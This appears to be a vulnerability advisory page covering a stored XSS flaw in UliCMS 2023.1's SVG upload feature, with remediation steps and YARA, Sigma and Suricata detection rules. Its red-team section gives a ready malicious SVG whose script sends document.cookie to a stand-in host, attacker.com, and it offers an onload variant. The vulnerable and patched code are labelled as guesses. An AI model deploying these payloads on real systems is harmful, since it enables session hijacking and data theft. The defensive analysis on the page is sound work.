CVE-2023-53925
Executive Summary
CVE-2023-53925 identifies a stored cross-site scripting (XSS) vulnerability in UliCMS 2023.1. The flaw allows an authenticated attacker with file upload privileges to upload a malicious SVG file containing embedded JavaScript. When other users view the uploaded SVG file, the embedded script executes in their browser context, leading to potential session hijacking, data theft, or further compromise. The vulnerability resides in the file management interface, which fails to sanitize or validate SVG file content. No official patch has been released, and the CVSS score is currently unassigned (0.0). The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (UliCMS) and does not involve a package manager supply chain.
CVSS Breakdown & Threat Level
- CVSS Vector: UNKNOWN (Not assigned by NVD)
- Base Score: 0.0 (Unassigned)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): Low (requires authenticated user with upload rights)
- User Interaction (UI): Required (victim must view the SVG)
- Scope (S): Changed (script executes in victim's browser)
- Confidentiality (C): Low (data exfiltration possible)
- Integrity (I): Low (script can modify page content)
- Availability (A): None
Threat Level: Medium (due to authenticated requirement but high impact if exploited in a multi-user environment).
Deep Dive & Mechanics
The vulnerability is a classic stored XSS via SVG file upload. UliCMS 2023.1's file management interface accepts SVG files without sanitizing their content. An attacker can craft an SVG file that includes a <script> tag or an onload event handler. When the SVG is rendered in a browser, the JavaScript executes.
Attack Flow:
- Attacker logs into UliCMS with an account that has file upload permissions.
- Attacker creates an SVG file containing malicious JavaScript (e.g.,
fetch('https://attacker.com/steal?cookie='+document.cookie)). - Attacker uploads the SVG via the file management interface.
- Victim (another user or admin) navigates to the uploaded SVG file (e.g.,
/uploads/malicious.svg). - The browser renders the SVG, executing the embedded JavaScript.
- The script can steal cookies, perform actions on behalf of the victim, or deface the site.
Root Cause: Lack of input validation and output encoding for SVG files. The application does not strip script tags or event handlers from SVG content.
Vulnerable vs. Patched Code
Vulnerable Code (UliCMS 2023.1):
The file upload handler likely does not inspect the content of uploaded files. It may only check the file extension (e.g., .svg) but not the MIME type or content.
// Vulnerable upload handler (pseudocode)
if (in_array($file_extension, ['svg', 'png', 'jpg'])) {
move_uploaded_file($file_tmp, $upload_path . $file_name);
}
Patched Code (Hypothetical): A patch would sanitize SVG content by removing script elements and event handlers, or by converting SVG to a safe format (e.g., PNG).
// Patched upload handler (pseudocode)
if ($file_extension === 'svg') {
$svg_content = file_get_contents($file_tmp);
// Remove script tags and event handlers
$svg_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg_content);
$svg_content = preg_replace('/\bon\w+\s*=\s*["\'][^"\']*["\']/i', '', $svg_content);
file_put_contents($upload_path . $file_name, $svg_content);
}
Note: No official patch is available. The above is a recommended mitigation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to UliCMS 2023.1 with an account that has file upload permissions.
- A web server to receive exfiltrated data (optional).
Step 1: Create Malicious SVG
Create a file named evil.svg with the following content:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<rect width="100" height="100" fill="red"/>
<script type="text/javascript">
alert('XSS');
// Exfiltrate cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</svg>
Step 2: Upload SVG
- Log in to UliCMS.
- Navigate to the file management interface.
- Upload
evil.svg.
Step 3: Trigger Execution
- Send the direct URL of the uploaded SVG (e.g.,
http://target.com/uploads/evil.svg) to a victim. - When the victim opens the URL, the JavaScript executes.
Alternative Payload (using onload):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" onload="alert('XSS')">
<rect width="100" height="100" fill="blue"/>
</svg>
Blue Team (Detection & Defense)
Detection:
- Monitor file upload logs for SVG files.
- Inspect uploaded SVG files for script tags or event handlers.
- Use WAF rules to block SVG uploads containing
<script>oron*attributes.
Defense:
- Disable SVG uploads if not required.
- Implement content security policy (CSP) headers to restrict script execution.
- Sanitize SVG files server-side using libraries like
svg-sanitizer(PHP). - Restrict file upload permissions to trusted users only.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on payload)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(empty SVG)
- Network Traffic:
- Outbound HTTP requests to attacker-controlled domains (e.g.,
GET /steal?cookie=...)
- Outbound HTTP requests to attacker-controlled domains (e.g.,
- Log Entries:
- File upload logs showing SVG files with unusual names or sizes.
- Web server logs showing requests to
/uploads/*.svgwith referrer from other pages.
- File System:
- Presence of SVG files in upload directories containing
<script>tags.
- Presence of SVG files in upload directories containing
Detection Engineering
YARA Rule
rule CVE_2023_53925_SVG_XSS {
meta:
description = "Detects malicious SVG files with embedded JavaScript (CVE-2023-53925)"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-53925"
strings:
$script_tag = /<script\b[^>]*>/i
$on_event = /\bon\w+\s*=\s*["']/i
$svg_header = /<svg\b[^>]*>/i
condition:
$svg_header and ($script_tag or $on_event)
}
Sigma Rule
title: CVE-2023-53925 - Stored XSS via SVG Upload in UliCMS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers to UliCMS file management.
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: linux
detection:
selection:
TargetFilename|endswith: '.svg'
Image|endswith: '/php' # Assuming PHP upload handler
filter:
- TargetFilename|contains: 'sanitized' # If sanitized versions exist
condition: selection and not filter
falsepositives:
- Legitimate SVG files with JavaScript (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-53925 - SVG XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads in UliCMS file management if not required.
- Restrict file upload permissions to only trusted administrators.
- Implement a WAF rule to block SVG files containing
<script>oron*attributes.
Long-Term Fix:
- Apply server-side sanitization to all uploaded SVG files using a library like
svg-sanitizer(PHP). - Upgrade to a patched version of UliCMS if one becomes available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Workaround:
- Convert uploaded SVG files to PNG on the server before serving them to users.
Valters IT